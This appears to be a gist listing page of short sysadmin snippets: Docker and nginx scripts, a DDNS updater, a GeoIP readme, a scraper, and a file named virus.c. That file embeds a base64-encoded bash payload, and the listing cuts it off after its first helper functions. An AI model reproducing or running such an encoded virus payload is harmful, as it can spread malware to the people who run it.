View purge_sdr.sh
#!/bin/bash
IFS=$'\r\n'
for i in $(ls -1| grep "\.sdr"); do
f="${i%.*}"
if [[ $(ls -1| grep "$f"| wc -l) -eq 1 ]]; then
echo $i
rm -rf "$i"
fi
done
View cf-ddns.sh
#!/bin/bash
# can be A or AAAA
do_record=AAAA
# the interface to get ipv6 address
iface=eth0
# the static suffix we should add to
v6_suf=53
mail="me@email.com"
View Readme.md
  • nginx with ngx_http_geoip_module, echo-nginx-module, lua-nginx-module is required; libgeoip needs to be installed and geoip database should be placed under /usr/share/GeoIP.
  • http://example.com for current GeoIP and http://example.com/ip for current IP only
  • http://example.com/x.x.x.x to query any IP.
  • http://example.com/domain-name for GeoIP of domain-name and http://example.com/domain-name/ip to return IP of domain-name only. If multiple IPs are set to single domain-name, all of them will be returned. Only A record will be used.
  • Sample requests are:
$ curl http://example.com/
x.x.x.x
Country, City
ASN number
View aacs.py
import re
import time
mkcookie = lambda coo: ";".join(["%s=%s" % (k,v) for k,v in coo.iteritems()])
def autodetect(resp, ct, ht, cookie, headers, url):
__func = None
while 'set-cookie' in resp:
coostr = resp['set-cookie']
_session = re.findall('yunsuo_session_verify=(\w+)', coostr)
View Readme.md

Run once:

# ./build-ubuntu32.sh
$ cp make_openresty.sh resty-dyn.patch /home/build/x{64,86}/

Everytime: change VERSION in build.sh

$ ./build.sh 64
$ ./build.sh 32
View docker_driver.sh
#!/bin/bash
repo=[SITE]/[USERNAME]/[REPO]
# example: fffonion/233
# index.hahah.io/fffonion/233
# upload a file
# ./docker_driver.sh YOUR_FILE
# copy the md5
# grab a file
# ./docker_driver.sh MD5
# the file will be downloaded into current directory
View docker_clear_noname.sh
#!/bin/bash
docker rm $(docker ps -a|grep -P "(?:admiring|adoring|affectionate|agitated|amazing|angry|awesome|blissful|boring|brave|clever|cocky|compassionate|competent|condescending|confident|cranky|dazzling|determined|distracted|dreamy|eager|ecstatic|elastic|elated|elegant|eloquent|epic|fervent|festive|flamboyant|focused|friendly|frosty|gallant|gifted|goofy|gracious|happy|hardcore|heuristic|hopeful|hungry|infallible|inspiring|jolly|jovial|keen|kind|laughing|loving|lucid|mystifying|modest|musing|naughty|nervous|nifty|nostalgic|objective|optimistic|peaceful|pedantic|pensive|practical|priceless|quirky|quizzical|relaxed|reverent|romantic|sad|serene|sharp|silly|sleepy|stoic|stupefied|suspicious|tender|thirsty|trusting|unruffled|upbeat|vibrant|vigilant|vigorous|wizardly|wonderful|xenodochial|youthful|zealous|zen)_(?:albattani|allen|almeida|agnesi|archimedes|ardinghelli|aryabhata|austin|babbage|banach|bardeen|bartik|bassi|beaver|bell|benz|father of Indian nuclear programme|bhabha|bhaskara|blackwell|bohr|booth|borg
View nginx.conf
upstream music163com {
least_conn;
keepalive 10;
#server 14.215.9.16:80;
#server 219.138.27.67:80;
server music.163.com:80;
}
server{
listen 80;
View virus.c
#include <stdlib.h>
#include <stdio.h>
char payload[]="IyEvYmluL2Jhc2gKRD0wCkVOQz0iYmFzZTY0IC13IDAiCkRFQz0iYmFzZTY0IC1kIgoKZnVuY3Rpb24gZGJnICgpCnsKCWlmIFsgJEQgLWd0IDAgXTsgdGhlbgoJCWVjaG8gIltERUJVR10gJDI6ICIkMSAxPiYyCglmaQp9CgpmdW5jdGlvbiByYW5kb20gKCkKewoJaWYgWyAteiAiJDEiIF07IHRoZW4KCQlsZW49MTYKCWVsc2UKCQlsZW49JDEKCWZpCglfdD0kKGRkIGlmPS9kZXYvdXJhbmRvbSBvZj0vZGV2L3N0ZG91dCBicz0kbGVuIGNvdW50PTEgMj4vZGV2L251bGx8YmFzZTY0fHNlZCAicy9bXC9cK10vMC9nIikKCWVjaG8gJHtfdDowOiRsZW59Cn0KCgpmdW5jdGlvbiBnZXRfcGVybSAoKQp7CglpZiBbIC16ICIkMSIgXTsgdGhlbgoJCWRiZyAiTm8gZmlsZSBwYXRoIGdpdmVuIiAiZ2V0X3Blcm0iCgkJZWNobyAwCgllbHNlCgkJZWNobyAkKHN0YXQgLWMgIiVhIiAiJDEiIDI+JjEpCglmaQp9CgpmdW5jdGlvbiBzZXRfcGVybSgpCnsKICAgICAgICBpZiBbIC16ICIkMSIgXSB8fCBbIC16ICIkMiIgXTsgdGhlbgogICAgICAgICAgICAgICAgZGJnICJObyBmaWxlIHBhdGggb3Igbm8gcGVybSBnaXZlbiIgInNldF9wZXJtIgoJCWVjaG8gMgogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICQoY2htb2QgJDEgIiQyIiAyPi9kZXYvbnVsbCkKICAgICAgICBmaQp9CgoKZnVuY3Rpb24gZ2V0X3VnICgpCnsKICAgICAgICBpZiBbIC16ICIkMSIgXTsgdGhlbgogICAgICAgICAgI
View automeiju.py
import os
import re
import time
import httplib2
from deluge_client import DelugeRPCClient
base_url = 'http://--CENSORED-BY-GFW--'
headers = {
'User-Agent':'Mozilla/5.0 xxxxx',
'Accept-Language':'zh-CN,zh;q=0.8',